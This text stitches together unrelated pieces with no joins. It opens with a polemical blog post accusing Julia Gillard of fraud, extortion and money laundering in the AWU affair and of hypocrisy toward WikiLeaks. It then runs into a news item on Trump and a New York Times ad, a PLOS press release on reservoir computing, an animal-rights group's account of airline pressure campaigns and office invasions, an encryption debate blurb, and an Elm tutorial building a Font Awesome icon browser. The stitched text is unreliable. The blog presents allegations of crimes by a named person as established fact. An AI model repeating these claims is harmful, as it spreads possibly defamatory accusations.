I will dissect Julia Gillard’s above comments later in the post because they beggar belief and raise more questions than they answer. But the part that would stand out at this point for anyone who has been following the Julian Assange and WikiLeaks matters over the past 10 months or so is the part where Julia Gillard whinges “to have false allegations in the media was distressing” which is exactly what Julia Gillard did to WikiLeaks and Julian Assange at the end of last year when she falsely said their actions were illegal.
In this post I will cover:
1. Julia Gillard’s part in ripping off the AWU for over $1,000,000
2. Julia Gillard’s hypocrisy in relation to her allegations of illegal conduct by Julian Assange and WikiLeaks.
3. Prima Facie Case to have Julia Gillard charged for breaching section 41 of the 1914 Crimes Act “Conspiracy to bring false accusation” and section 137 of the 1995 Criminal Code “False or misleading information or documents”.
To appreciate how Julia Gillard’s answers she gave in the 2007 interview beggar belief it is important to have some knowledge of what happened when she helped Bruce Wilson steal from the AWU. A brief outline is below.
The way the scam worked is best set out in another article by Glenn Milne where it starts off:
“THE con used by Julia Gillard’s former lover to cream off possibly more than $1 million was simple and backed by standover tactics.
As union secretary, Bruce Morton Wilson would go on to construction sites and tell bosses they “needed” an industrial agreement which he would negotiate.
But there was a price – they would have to purchase hundreds of AWU membership tickets in exchange for the industrial peace guaranteed by the “agreement”.
However, when the employers made out the cheques – sometimes for more than $50,000 at a time – the money for memberships that never existed would go into phony AWU accounts that actually belonged to Wilson.” (Click here to read the full article)
The scam seems to have first started in Western Australia when Bruce Wilson was State Secretary of the AWU and he had already set up two bogus accounts to funnel the money through. He later moved to Victoria to become State Secretary for both Victoria and Western Australia.
By this time Julia Gillard and Bruce Wilson were in a sexual relationship and Julia Gillard should have stopped representing the AWU as there was a clear conflict of interest.
Bruce Wilson had Julia Gillard set up the account named “AWU Members Welfare Association No 1 Account”.
The AWU management claimed they knew nothing about the accounts and when they found out the joint national secretary Ian Cambridge put a freeze on the accounts. Somehow money kept on going in and out of the accounts.
Some of the money was also used to buy a house and Ian Cambridge put a caveat on the house so it could not be sold. Again the house was sold and the money disappeared.
From here we will go to the transcript from the Victorian Government Hansard where it says on the 12th of October 1995:
Mr GUDE (Minister for Industry and Employment)
“I understand the AWU is still receiving bills for strange items ordered by Mr Wilson. All attempts thus far to find him have come to nothing. What did Mr Wilson do when he found out that his actions had been discovered? The first thing he did was to seek legal advice from the union’s solicitors, none other than Slater and Gordon. From whom did he receive that advice? One Julia Gillard.
I am informed that Ms Gillard is no longer with Slater and Gordon due to commitments as an ALP Senate candidate. That may not be the only reason she is no longer working at Slater and Gordon.”
“Mr Gude — Consistent with the provisions of the legislation I am informed that the first thing Ms Gillard did, when asked what she would be doing and why she was getting out of Slater and Gordon, was to pay back moneys to the AWU for work” (Click here to read the rest)
Julia Gillard is alleged to have ripped off $57,500 for herself. Of which $17,500 was spent on clothing at Town Mode, which was a women’s fashion house in Melbourne. Mr Cambridge has given evidence about the likely proceeds of this. And $40,000 was spent on renovations to her house in Melbourne. This shows up in the Victorian Parliament Hansard on the 28th February 2001 and the 2nd May 2001.
In January 1996 “Mr Cambridge wrote to the then Federal Minister for Industrial Relations, Mr Laurie Brereton, seeking a royal commission into the AWU – just as the Prime Minister, Mr Paul Keating, called an election.” (Click here to read the full article)
Not long after Robert F. Smith, branch secretary at the AWU wrote a letter to Steve Harrison who along with Ian Cambridge was joint national secretary of the AWU.
The letter is in the Victorian Government Hansard and starts off:
Dear Steve,
Further to our telephone discussion this morning, I propose the following resolution to be put to national executive next month.
As we have discussed, you know as well as I do that if Cambridge is not stopped we are all history. I have spoken to Bill Kelty and Jennie George, and they are supportive of this course of action. Both you and I can work the phones before the national executive meeting to make sure we have the numbers before this motion is put. I have already spoken to a number of national executive and they are very nervous to say the least. Please ring when you have considered my proposal.
The Hansard goes on to say: By the way, there was neither a judicial inquiry nor a royal commission. Cambridge was appointed to the New South Wales Industrial Relations Court. I call for a full, open judicial inquiry. The other addressees on the letter were Bill Shorten, Terry Muscat, Graham Ray and Frank Leo. (Click here to read the full letter).
The above shows Julia Gillard being party to fraud, blackmail, money laundering and extortion etc. She claims to have not done it knowingly.
Now back to the 2007 Julia Gillard interview with Glenn Milne.
Julia Gillard “strenuously denied ever knowing what the association’s bank accounts were used for”. For Julia Gillard to say that is a breach of lawyer-client confidentiality, but since she is prepared to say that she should also be prepared to answer other questions on the matter. It also is not believable as the first thing a lawyer would do when a client wants to set up a new association is ask what it going to used for so the lawyer makes sure they are giving the right advice and setting it up correctly. Is Julia Gillard saying she was also derelict in her duty and did not ask.
Julia Gillard said: “These matters happened between 12 and 15 years ago,” “I was young and naive.” Well Julia Gillard was a partner at the law firm Slater and Gordon and in her mid thirties. Slater and Gordon are not in the habit of appointing young and naive people as partners and being in her mid thirties hardly made her young.
Julia Gillard said: “I was in a relationship, which I ended, and obviously it was all very distressing. I am by no means the first person to find out that someone close turns out to be different to what you had believed them to be. It’s an ordinary human error.” This is crap. Once Julia Gillard started having a sexual relationship with Bruce Wilson she should have stopped representing the AWU as they were the client not Bruce Wilson. It is a huge conflict of interest.
Julia Gillard said “I was obviously hurt when I was later falsely accused publicly of wrong-doing. I didn’t do anything wrong and to have false allegations in the media was distressing.” Well Julia Gillard was more than happy to falsely accuse Julian Assange and WikiLeaks of breaking Australian laws. It does not get much more hypocritical than that.
Both Bill Shorten and Jennie George who are mentioned above, and went on to become Federal Politicians, helped Julia Gillard become Prime Minister while they both were well aware of her history and helped cover it up.
Ian Cambridge as mentioned above became a Commissioner at the NSW Industrial Relations Commission in 1997. In 2009 Julia Gillard as Minister for Industrial Relations personally appointed Ian Cambridge as dual appointee to Fair Work Australia. I find this disturbing. While it could be argued that other Commissioners of the NSW Industrial Relations Commission were also given dual appointments at the same time they had not previously called for a Royal Commission into criminal conduct by Julia Gillard and her boyfriend Bruce Wilson.
Julia Gillard should never have appointed him and if Ian Cambridge had any self-respect he should not have accepted the position. It could be construed by some that Ian Cambridge has taken a bribe to keep his mouth shut about her criminal past.
I also do notice that the Australian Mines and Metals Association has documented Julia Gillard stacking the bench at Fair Work Australia with her union mates. (Click here to read).
WikiLeaks and Julian Assange
On December 2, 2010 Julia Gillard said in relation to the United States diplomatic cables leak (Cablegate): “I absolutely condemn the placement of this information on the WikiLeaks website – it’s a grossly irresponsible thing to do and an illegal thing to do.” Yet when she was asked what laws had been breached she could not name any. Even so she still refered the matter to the Australian Federal Police for investigation. The Australian Attorney General Robert McClelland supported Julia Gillard although he was not as stupid to go as far and he said that they had likely broken the law “The unauthorised obtaining of the information may well be an offence” but he also failed to name what laws had been breached.
When Julia Gillard and Robert McClelland refered the complaint to the Australian Federal Police it should have been fully documented. They should tender those documents to parliament or the media so we can see what laws they believed that WikiLeaks and Julian Assange breached.
If they can not name the particular law or laws and what evidence they had that supported the crime than there is a very powerful prima facie case to have both Julia Gillard and Robert McClelland charged for conspiring to have someone falsely charged and making a false complaint to the police.
These are covered by section 41 of the 1914 Crimes Act and section 137.1 of the 1995 Criminal Code which are set out below. Even though WikiLeaks and Julian Assange were not charged section 41 of the 1914 crimes act still applies as even if “charging a person falsely pursuant to the agreement is impossible” they can still be found guilty which is covered by section 41(3)(a).
Feb. 26, 2017, 9:22 PM GMT / Updated Feb. 26, 2017, 9:22 PM GMT By Jane C. Timm
Amid an escalating fight with the media, President Donald Trump derided a New York Times advertisement that hasn’t yet aired.
The president's tweet, sent from his personal account before 7 a.m. on Sunday morning, is referring to a 30-second spot slated to air during the Academy Awards show Sunday night. It is the newspaper’s first television ad since 2010, not their first ever as the president suggested. The ad sews together audio-clips of punditry about "the truth" with the eventual conclusion that "the truth is more important now than ever."
The paper said the ad aimed to remind readers how costly reporting the news can be.
Arthur Sulzberger, Jr., the publisher of the paper, said in a release published three days ago that "in a world where there is so much uncertainty about what is real and what is fake news, we remain steadfastly committed to a search for the truth.”
"Fake news" is how the president derides journalism he disagrees with, signaling that the Times' campaign may also be a pointed commentary on the president's oft-lambasted relationship with accuracy. After a campaign that racked up PolitiFact's highest number of "false" and "pants on fire" presidential nominee fact checks in more than a decade, Trump's administration has run afoul of the truth repeatedly in their first month in office, and one aide suggested in an interview that the White House was relying on "alternate facts."
The advertisement and Trump's tweet attacking it come amid intensifying tensions between the media and the White House, with the Times particularly in Trump's crosshairs. On Friday, the White House barred several news outlets, including the Times, from attending an off-camera briefing with the press secretary, earning widespread condemnation and a boycott by some outlets who were allowed in the briefing. Earlier that day, the president bashed the media in a lengthy broadcast speech at a conservative event in Maryland.
On Saturday, Trump tweeted that he would skip the White House Correspondent's Dinner amid reports that some outlets were considering skipping the traditionally-chummy gathering of press, celebrities, and government. Trump previously attended the event as a guest, and was a frequent target of comedian hosts and presidential monologues, most famously at the 2011 event when Trump was roasted while in attendance at the dinner by the president whose citizenship he famously questioned.
Adweek estimated the cost for the ad buy during ABC’s Oscars broadcast tonight could be as high as $2.5 million dollars, while Trump’s tweet spurred interest even prior to the ceremony. Searches for ‘New York Times ad’ spiked just moments after the president’s tweet, according to Google Search Analytics.
Enel et al at the INSERM in France investigate one of the most noteworthy properties of primate behavior, its diversity and adaptability. Human and non-human primates can learn an astonishing variety of novel behaviors that could not have been directly anticipated by evolution -- we now understand that this ability to cope with new situations is due to the "pre-adapted" nature of the primate brain.
This study shows that this seemingly miraculous pre-adaptation comes from connections between neurons that form recurrent loops where inputs can rebound and mix in the network, like waves in a pond, thus called "reservoir" computing. This mix of the inputs allows a potentially universal representation of combinations of the inputs that can then be used to learn the right behaviour for a new situation.
The authors demonstrate this by training a reservoir network to perform a novel problem solving task. They then compared the activity of neurons in the model with activity of neurons in the prefrontal cortex of a research primate that was trained to perform the same task. Remarkably, there were striking similarities in the activation of neurons in both the reservoir model and the primate.
This breakthrough shows that we have taken big step towards understanding the local recurrent connectivity in the brain that prepares primates to face unlimited situations. This research shows that by allowing essentially unlimited combinations of internal representations in the network of the brain, one of them is always on hand for the given situation.
In your coverage please use this URL to provide access to the freely available article in PLOS Computational Biology: http://dx. plos. org/ 10. 1371/ journal. pcbi. pcbi. 1004967
Contact:
Peter Ford Dominey
peter.dominey@inserm.fr
Phone Number 33-472913484
Citation: Enel P, Procyk E, Quilodran R, Dominey PF (2016) Reservoir Computing Properties of Neural Dynamics in Prefrontal Cortex. PLoS Comput Biol 12(6): e1004967. doi:10.1371/journal.pcbi.1004967
Image Credit: Craig ONeal / Flickr
Image Link: http://blogs. plos. org/ everyone/ files/ 2016/ 06/ Dominey-striking-image. jpg
Funding: The present work was funded by European research projects IST- 231267 (Organic), FP7 270490 (EFAA), FP7 612139 (WYSIWYD), and CRCNS NSF-ANR ANR-14-NEUC-0005-1 (Spaquence). EP is funded by the Agence Nationale de la Recherche ANR-06-JCJC-0048 and ANR- 11- BSV4-0006, and by the labex CORTEX ANR-11- LABX-0042. The authors declare no competing financial interests.
Competing Interests: The authors have declared that no competing interests exist.
About PLOS Computational Biology
PLOS Computational Biology features works of exceptional significance that further our understanding of living systems at all scales through the application of computational methods. For more information follow @PLOSCompBiol on Twitter or contact ploscompbiol@plos.org.
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The Public Library of Science (PLOS) PLOS is a nonprofit publisher and advocacy organization founded to accelerate progress in science and medicine by leading a transformation in research communication. For more information, visit http://www. plos. org .
Disclaimer
The strategy of the Gateway to Hell campaign is to cut off the supply chain of animals to labs by getting transportation companies, such as airlines, to enact bans on the transportation of animals destined for research labs. The basic idea is simple: if the labs cannot get specific animals, they cannot do the experiments. This strategy has largely focused on commercial airlines because the majority of animals are shipped in the cargo holds on commercial flights, and this was a practice in which nearly every commercial airline participated until the launch of this campaign. Currently only two big players are left: China Southern Airlines and Air France/ KLM.As an organization, ECLA uses focused, targeted campaigns and pressure tactics along with public outreach to convince companies to change their policies. This means that once we pick a target we put our focus and energy into constant pressure until we gain a real, meaningful victory.We do this through encouraging consumer boycotts; holding demonstrations at the airlines’ corporate offices, cargo offices, and at the airport; and organizing targeted global phone and email actions to shut down their communications. Some of the more risky and exciting actions we have done were office invasions of both El Al Airlines and China Southern Airlines.
After only a few actions like this, we were successful in getting China Eastern Airlines to put a ban on primate shipments, which effectively put an end to primate imports from China into LA. To highlight the impact of this one victory, Los Angeles was the largest port of entry for primate shipments with 45% of all primates imported into the US coming through LAX.
We could not gain victories like this if it weren’t for the network of activists and organizations all around the world working together to pressure airlines and educate the public. We also wouldn’t be where we are today if it weren’t for organizations such as The Talon Conspiracy and individuals like Josh Harper who work to preserve the history of the animal liberation movement. Through publications, workshops, and learning our own history, we are able to avoid the mistakes of the past and take the tactics that work and have held the test of time and continue to employ and modify them.
As an organization, our main focus is Animal Liberation; however, we all work on various other projects and liberation movements and have had solidarity demonstrations with the Tar Sands Blockade and with Greek Antifascists opposing the Golden Dawn. Our collective members work with various other projects and organizations, such as working with the IWW, running an anarchist distro, volunteering at a queer youth center, organizing benefits for political prisoners and legal funds, and working on antifascist and anarchist organizing. Our politics lie in feminism and anarchism, and we believe that we must strive for the total liberation of animals, the earth, and humans while maintaining focus and strategy.
Some of our members are working on a new project that aims to expand the reach of the Gateway to Hell campaign in the US and to provide more support, guidance, and information to others with the goal of creating a vast network of grassroots animal rights and environmental activists. So be on the lookout for The Bunny Alliance!
The US Senate has published a draft law to force tech companies to show encrypted messages to security services.
The Compliance with Court Orders Act would force companies to hand over what is called "intelligible" or non-encrypted data, if they receive a court order.
It follows decisions by Apple and Whatsapp take a stand on encryption.
Apple has been locked in a battle with the FBI over its refusal to unlock its iPhone.
And Facebook recently announced all messages on its messaging app, Whatsapp are now encrypted.
Is the right to keep our online information a secret about to be banned?
And where should the line be between privacy and transparency?
Presenter: Jane Dutton
Guests:
Rachel Levinson-Waldman - Senior Counsel at the Brennan Center for Justice at New York University.
Robert Pritchard - Associate Fellow at RUSI.
Glyn Moody - technology writer and digital rights expert.
"Whaah! Whaah! People who made this amazing language and documentation left a little bit of dirt on the red carpet they unrolled for me! Whaah! Whaah!"
Now that my tears are all dried up, it's time to do some actual programming. So, back to scratching my itch.
Font Awesome
Font Awesome is a popular free icon font. I use it often in business-y projects without firm design guidelines. It used to be a breeze to just bounce over to their site and lookup the glyph I needed.
But lately, their site has really gone downhill. Just look at this shit.
Ads, upsells, popups.
Pages are huge, taking about 10 seconds on average to load. The "subscribe to our mailing list" text input is "conveniently" placed above the search field, so it's easy to confuse. If I spend too long dicking around, I'll be interrupted by popups. "Are you suuure you don't want to subscribe to our spam list?"
Even when I find the icon I want, I can't just copy it and be done. Instead, I have to click on it, wait 10-15 seconds for another ad-laden page to be loaded, and then I am finally allowed to leave.
All I need is a place where I can see the list of Font Awesome icons, search by name and quickly copy the var name.
So I am about to make one.
Setup
The official elm guide and tooling are optimized for learning the language. They don't seem to suggest any concrete setup or boilerplate for making the actual apps.
A quick round of googling led me to Elm webpack starter. Decent number of stars, easy npm installation, webpack build system and live reload. Sounds good to me.
After going through their tutorial, I was indeed left with a functioning elm mini-site I could customize.
Then, I customized:
I cleaned up package.json and elm-package.json . Changed all the versions, descriptions, repos and licenses to be for my own project.
and . Changed all the versions, descriptions, repos and licenses to be for my own project. In index.html , I updated the meta tags and title.
, I updated the meta tags and title. I replaced their favicon.ico with my own favicon.png and updated the index.html
with my own and updated the Added my LICENCE file (generated by github)
In index.js , I removed bootstrap.js and jQuery imports, as I will not be using them
, I removed bootstrap.js and jQuery imports, as I will not be using them Cleaned up README.md , added my own content
I mention all this as a reminder. Details are important. You don't want your project to look like a quick hack inside someone else's project.
Next, I looked into the main.scss .
$icon-font-path : ' ~bootstrap-sass/assets/fonts/bootstrap/' ; @import ' ~bootstrap-sass/assets/stylesheets/bootstrap/_mixins.scss' ; @import ' ~bootstrap-sass/assets/stylesheets/_bootstrap.scss' ; // can add Boostrap overrides, additional Sass/CSS below...
Boilerplate was importing the entire bootstrap stylesheet, including its glyphicons font. I decided to keep bootstrap, but I will not need glyphicons. We are all about font awesome here.
The quickest solution would be to fudge the $icon-font-path variable, but that would create icky errors. Instead, I dug into bootstrap's sass sources and imported just the styles I needed (hint: " ~ " will be resolved by webpack as path to node_modules ).
// Core variables and mixins @import "~bootstrap-sass/assets/stylesheets/bootstrap/_variables.scss" ; @import "~bootstrap-sass/assets/stylesheets/bootstrap/_mixins.scss" ; // Reset and dependencies @import "~bootstrap-sass/assets/stylesheets/bootstrap/_normalize.scss" ; @import "~bootstrap-sass/assets/stylesheets/bootstrap/_print.scss" ; //@import "~bootstrap-sass/assets/stylesheets/bootstrap/_glyphicons.scss"; // ... more stuff here, copied over from the original bootstrap.scss
This allowed me to exclude some of the bootstrap styles I won't use in this tiny project, while leaving an open door to bring them back later if needed.
Next, I brought in Font Awesome.
npm install --save-dev font-awesome
Added the reference into main.scss :
$fa-font-path : "~font-awesome/fonts/" ; @import ' ~font-awesome/scss/font-awesome.scss' ;
Webpack needed to be told what to do with font references. In webpack.config.js :
if (TARGET_ENV === 'development') { //... module.exports = merge(commonConfig, { //... module: { loaders: [ //... { test: /\.(woff|woff2|ttf|eot|svg)(\?v=[a-z0-9]\.[a-z0-9]\.[a-z0-9])?$/, loader: 'url-loader?limit=100000' } ] } }); }
This should allow me to use font awesome classes (eg "fa fa-times" ) to display its glyphs on the screen.
One final bit remained. Where do I get the full list of font awesome class names for my app?
I guess I could just hard-code it into the app, but that felt dirty and too labor intensive. I don't want to keep having to come back to update this project. I dug around font awesome's module directory. The most convenient place where this list appears is inside the font-awesome/scss/_variables.scss file.
//... $fa-var-500px : "\f26e" ; $fa-var-address-book : "\f2b9" ; $fa-var-address-book-o : "\f2ba" ; $fa-var-address-card : "\f2bb" ; //...
So this is where I'll load it from.
I quickly zeroed in on sass-to-js-var-loader. This webpack plugin will read the variables from a scss file, camelize them (unfortunate for me, but workable) and provide them as a javascript hash.
var faVars = require ( '!sass-to-js-var!../../node_modules/font-awesome/scss/_variables.scss' ); var faNames = Object . keys ( faVars ); // [..., 'faVar500px', 'faVarAddressBook', ...]
Thus, I had a list of all font awesome variables, including glyph names, in an inconvenient camelized form.
It was tempting to keep massaging these variables right here, but I refrained. Let's see how elm deals with this.
Elm overview
I'll use the existing boilerplate to do a quick rundown of elm features, as I understand them at this point.
Disclaimer - I am a noob. This is my first project in elm. I learn as I write this.
module Main exposing (..)
Module declaration must be at the top. Name of the module must be Pascal Case and match the directory structure. exposing is the list of symbols I am exporting for other modules. (..) means I am exposing everything. Pretty standard stuff.
import Html exposing (..) import Html.Attributes exposing (..) import Html.Events exposing ( onClick )
These are the modules I am importing. exposing here means which names will be dumped into the global scope. If I didn't do exposing (onClick) , I'd have to write Html.Events.onClick every time I wanted to add a click handler.
import Components.Hello exposing ( hello )
This is importing a local component from Components/Hello.elm . The syntax is the same as for "official" built in modules, as well as for modules from elm's version of npm.
Overall, pretty neat little module system.
-- APP main : Program Never Int Msg main = Html . beginnerProgram { model = model , view = view , update = update }
This is the "entry point". When I do Elm.Main.embed(document.getElementById('main'); in index.js , the elm runtime will look up this main function and run that.
Yes, this is a function declaration. It has two rows. The upper row is for types (you can tell they are types because of PascalCase). The lower row is for arguments and actual code (which is traditionally moved into the next line and indented).
This particular function looks like it takes 4 arguments, but it actually doesn't take any. Instead, it just returns a value of type Program Never Int Msg . I think this is like a resolved generic type, where generic Program is built into the language and the other 3 are defined by the user.
Html.beginnerProgram is a helper function which creates a react-like web application. This thing with curly braces is its single argument. It's the Record type, similar to hashes / dictionaries / javascript objects.
There is no return statement. Every function body is an expression that always returns something.
-- MODEL type alias Model = Int model : number model = 0
type alias is, like the name says, alias for a type. In this case, every time I say Model , it's the same as if I said Int (integer). This is more useful when applied to records, like the one in the main code block.
model is a variable. As the name implies, it is the central data store of the app (like the store in redux). I am not sure why is it declared as number instead of Model , though.
-- UPDATE type Msg = NoOp | Increment update : Msg -> Model -> Model update msg model = case msg of NoOp -> model Increment -> model + 1
Msg is the equivalent of "action creator" in react. It's what I send into the elm runtime to trigger changes in my app.
It is declared as being either NoOp or Increment . These are the equivalent to symbols in Ruby or values of an enum.
update function takes 2 arguments - Msg and Model , and returns a Model . Yup, it's the reducer from redux.
Notice the arrows ( -> )? That's how you separate arguments in function declarations (it has to do with currying). When you write the implementation part ( update msg model = ), you just use spaces as separators. Not the happiest syntax choice, in my opinion.
case is like the higher level functional version of the "normal" switch/case syntax. It's pretty clear what's going on here. Depending of the Msg that gets sent in, I either do nothing or increment the model value.
-- VIEW -- Html is defined as: elem [ attribs ][ children ] -- CSS can be applied via class names or inline style attrib view : Model -> Html Msg view model = div [ class "container" , style [( "margin-top" , "30px" ), ( "text-align" , "center" )] ][ -- inline CSS (literal) div [ class "row" ][ div [ class "col-xs-12" ][ div [ class "jumbotron" ][ img [ src "static/img/elm.jpg" , style styles . img ] [] -- inline CSS (via var) , hello model -- ext 'hello' component (takes 'model' as arg) , p [] [ text ( "Elm Webpack Starter" ) ] , button [ class "btn btn-primary btn-lg" , onClick Increment ] [ -- click handler span [ class "glyphicon glyphicon-star" ][] -- glyphicon , span [][ text "FTW!" ] ] ] ] ] ]
This final part is obviously the equivalent of render() in react. It's a function that takes the Model (aka props ) and returns the Html Msg . Elm will use Html part to render the DOM and Msg is the type of messages which will be raised by any events.
For example:
button [ class "btn btn-primary btn-lg" , onClick Increment ]
This onClick Increment attribute will emit Increment action when user clicks the button. Elm will then call the update function with Increment message, which will increment the model variable, causing re-render of the view .
All these ugly square brackets are actually arrays. This is how elm represents its shadow DOM. Things like button , div , class and text are functions. div takes 2 arguments: an array of attributes and an array of children elements. class and text take a single string argument. It's all actually pretty understandable once you get used to it.
-- hello component hello : Int -> Html a hello model = div [ class "h1" ] [ text ( "Hello, Elm" ++ ( "!" |> String . repeat model ) ) ]
Model is rendered inside the Hello component.
Html a is like a generic version of Html Msg , where a can be any type (it's done like this because this component doesn't "emit" anything). Note the lowercase.
++ is for string concatenation.
|> is called pipe. It's a fancy way to write String.repeat model "!" . It just allows me to chain multiple functions together and avoid the "brace hell" from other functional languages.
Notice that repeat is called from the String module instead directly on the "!" string variable. That's just the functional way of doing things. You never mix data and functionality together.
There are a few more scattered pieces, but this is the core of it. Program , model , update and view . Building blocks of an elm web app.
Showing the icons
Now that I've familiarized myself with this boilerplate code, I'll delete it and write some of my own.
First order of business - get list of icons into the app and show it on screen.
There are several ways to do interop between javascript and elm. One immediately sticks out to me - "flags".
You can think of this as some static configuration for your Elm program.
Exactly what I need.
I'll start by writing a new entry point inside the Main.elm file.
-- APP main : Program ( List String ) Model Msg main = Html . programWithFlags { view = view , update = update , init = init , subscriptions = subscriptions }
This is similar stuff as before, except I am using a different helper. programWithFlags will allow me to accept initialization data passed from the javascript world.
-- MODEL type alias Model = { icons : List Icon } init : List String -> ( Model , Cmd Msg ) init rawKeys = ( { icons = loadIcons rawKeys }, Cmd . none )
My new model will be a list of Icon -s. init is the replacement for the old model variable. It takes some flags from javascript (in this case, a list of strings named rawKeys ), and returns my initial model and command.
I will define Icon and loadIcons a bit later.
-- SUBSCRIPTIONS subscriptions : Model -> Sub Msg subscriptions model = Sub . none
Here is where I would handle ajax responses and other async stuff coming in from the outside. I don't need any of that, but I haven't found a way to tell elm that. So instead, I created this useless stub.
-- UPDATE type Msg = NoOp update : Msg -> Model -> ( Model , Cmd Msg ) update msg model = case msg of NoOp -> ( model , Cmd . none )
Update function is extended with this Cmd stuff. This is like a redux thunk, an async action you send into elm, and the results later pop in through the subscriptions .
(Model, Cmd Msg) construct is called "tuple". It's kind of like a record without key names. Or a fixed-length variable-type list, I guess. It's the third and final mass data carrier type in elm (the other two being lists and records).
Either way, all this is just stubbed for now. I don't need it yet.
-- VIEW view : Model -> Html Msg view model = div [ class "container" ] [ div [ class "row" ] [ div [ class "col-xs-12" ] [ ul [] ( List . map ( \ icon -> li [] [ renderIcon icon ]) model . icons ) ] ] ]
The view just calls renderIcon for each icon, and shoves the results into a <ul> .
So what about all this missing icon stuff?
I decided to compartmentalize everything to do with icons (loading, types and rendering) into Components/Icon.elm . Is this the right architecture? No idea. But it seems to serve my purposes.
At the top of Main.elm , I added:
import Components.Icon exposing ( Icon , loadIcons , renderIcon )
I deleted the old Hello component. Then, in Components/Icon.elm :
type alias Icon = { tokens : List String , name : String , class : String }
I can probably get away with just the string, but I want to give myself some space for growth.
renderIcon : Icon -> Html a renderIcon icon = span [] [ i [ class ( "fa " ++ icon . class ) ] [], span [] [ text icon . class ] ]
Render is pretty straightforward for now. I just want to show the glyph and its name.
Loading icons is the most complicated part so far. As a reminder, the raw data will come in this form:
[ "faVar500px", "faVaraddressBook", "faVaraddressBookO", "faVaraddressCard", "faVaraddressCardO", ... ]
So how do I chew through that using elm?
Like this:
loadIcons : List String -> List Icon loadIcons rawKeys = rawKeys |> List . filter ( String . startsWith "faVar" ) |> List . map ( \ rawKey -> let rawTokens = String . dropLeft 5 rawKey matches = Regex . find Regex . All ( Regex . regex "([A-Z0-9][a-z0-9]*)" ) rawTokens tokens = List . map ( \ m -> String . toLower m . match ) matches in { tokens = tokens , name = String . join "_" tokens , class = "fa-" ++ String . join "-" tokens } )
First thing to note is the pipeline I spoke of earlier ( |> ). I filter out all the values that don't start with "faVar" (eg. faFontPath ), then map the results.
Then there's this let / in construct. As far as I can tell, that's just a way to write linear code in elm. You setup some temporary values inside the let , then return the result as usual from within the in .
Inside let , I cut off the faVar part, then find all the words, then map them into lowercase tokens. To figure out how to do all this, I basically just googled elm's string and regex docs.
The in block then uses these generated tokens to create an Icon record for each input item.
It was all actually pretty straightforward. No javascript required.
All that remains is to connect the webpack provided icon list with elm using the second argument in the embed() call.
var faVars = require ( '!sass-to-js-var!../../node_modules/font-awesome/scss/_variables.scss' ); var faNames = Object . keys ( faVars ); var Elm = require ( '../elm/Main' ); Elm . Main . embed ( document . getElementById ( 'main' ), faNames );
Execute npm run start , and...
Full code up to this point is available here.
Filtering
Time to put that update loop to work.
type alias Model = { icons : List Icon , filter : String }
I start by expanding model to hold the filter field.
-- UPDATE type Msg = SetFilter String
SetFilter message takes a single String parameter. This is one of those strange elm complex types that I don't know how to call.
update : Msg -> Model -> ( Model , Cmd Msg ) update msg model = case msg of SetFilter filter -> ({ model | filter = filter }, Cmd . none )
update function handles `SetFilter message by updating the model. This thing with the pipe ( | ) character is the way you "update" records in elm. Well, you actually clone and modify them, this being functional programming and all. It's the equivalent to Object.assign({}, model, { filter: filter }) in javascript.
-- VIEW view : Model -> Html Msg view model = div [] [ div [ class "navbar navbar-default navbar-static-top" ] [ div [ class "container" ] [ div [ class "navbar-header" ] [ span [ class "navbar-brand" ] [ text "Font Awesomelm" ] ], Html . form [ class "navbar-form navbar-right filter-form" ] [ div [ class "form-group" ] [ input [ placeholder "Filter" , onInput SetFilter , class "form-control" ] [] ] ] ] ], div [ class "container" ] [ div [ class "row" ] [ div [ class "col-xs-12" ] [ renderIconList model . icons model . filter ] ] ] ]
This render function got bootstrap-bloated real fast. I am already itching to refactor it into its own component.
This is the most important part: input [onInput SetFilter] [] . It will render an input field, which will emit the SetFilter <newValue> action on every change. I have no idea how I'd do advanced stuff, with event object, bubbling etc. using this pattern.
renderIconList is the new function I've defined in my Icon.elm module:
renderIconList : List Icon -> String -> Html a renderIconList icons filter = let filterRegex = Regex . regex filter items = icons |> List . filter ( \ icon -> Regex . contains filterRegex icon . name ) |> List . map ( \ icon -> li [] [ renderIcon icon ]) in ul [] items
The only addition is the filterRegex stuff, which filters the list based on the current filter.
Full code at this point is available here.
The debugger
While trying to get that regex working, I gave the elm debugger another look.
Every time the model gets updated, there is a new entry in this list. I can click on any entry and examine the complete state of the model at that point in time. I can also "rewind" the state back and forth at will. And that's all cool.
I notice something missing, though. Where is my filtered list of icons that reflects the current filter string? How do I see all those temp variables and regexes trapped inside the let blocks?
Elm's docs are somewhat silent regarding this. Elm does have a Debug module, which used to have a watch functionality. But at some point that got removed. The only remaining facility is good old Debug.log .
items = Debug . log "items" ( icons |> List . filter ( \ icon -> Regex . contains filterRegex icon . name ) |> List . map ( \ icon -> li [] [ renderIcon icon ]))
It's called "poor man's debugger" for a reason.
Here's my conundrum, then. The only state I can debug is the "official" model that gets declared with the elm runtime. But what if I have a derived state, like my filtered list? Should I keep that inside the model as well? That seems like a terrible practice. The items in my master list and filtered list are bound to get out of sync at some point.
Unless I am missing some obvious feature, outside of the flashy time-travelling gimmick, elm's debugging story seems very incomplete at this point.
Clipboard
The final problem I have to tackle is how do I copy the icon class into the clipboard.
Elm used to have a clipboard module, but it hasn't been updated in a year, and no longer works in the current elm build. So I'll just make my own clipboard handler using elm's ports system.
Ports allows elm to use javascript to do some heavy lifting outside of its sparkly clean world. The communication between the two is an asynchronous message bus. Elm emits a Cmd action out into the real world, where it is received and handled by a javascript function. At some point later, javascript drops its response back into the elm Matrix, where it is caught by elm's subscribe handler.
I will only use the elm -> javascript interop in this project.
port module Main exposing (..)
I start by adding this port thing before my Main module declaration. That's just an arbitrary syntax you have to add for a module to be exposed to the outside.
-- PORTS port copyToClipboard : String -> Cmd msg
Port itself is declared as a function that takes some args (these will later appear in javascript world) and produces this generic Cmd thing. I don't define any body here, all I need is this declaration.
type Msg = SetFilter String | CopyToClipboard String
I updated my Msg type with the new CopyToClipboard message type, which will be emitted from my Icon component when user... Wait. How do I get this Msg type into the Icon.elm file? I can't just reference Main , as that will create a circular dependency.
If you recall earlier, I hand-waved this concern away because my Icons didn't need to emit any events. Well, now they do.
renderIcon : Icon -> Html a -- <- Instead of "a", I need the Msg from Main here
Real elm apps use some kind of staggered architecture, where each Component (Container?) has its own model/cmd/view stack, and the Main then just combines them all together and distributes the messages downwards. But that seemed like an overkill for this tiny project.
So instead, I extracted Msg definition into its own file and referenced it from both the Main and Icon modules.
-- File: Components/Icon.elm import Msg exposing (..) -- ... old stuff ... renderIcon : Icon -> Html Msg renderIcon icon = span [ class ( "icon-" ++ icon . class ) ] [ i [ class ( "fa " ++ icon . class ) ] [], span [ onClick ( CopyToClipboard icon . class ) ] [ text icon . class ] ]
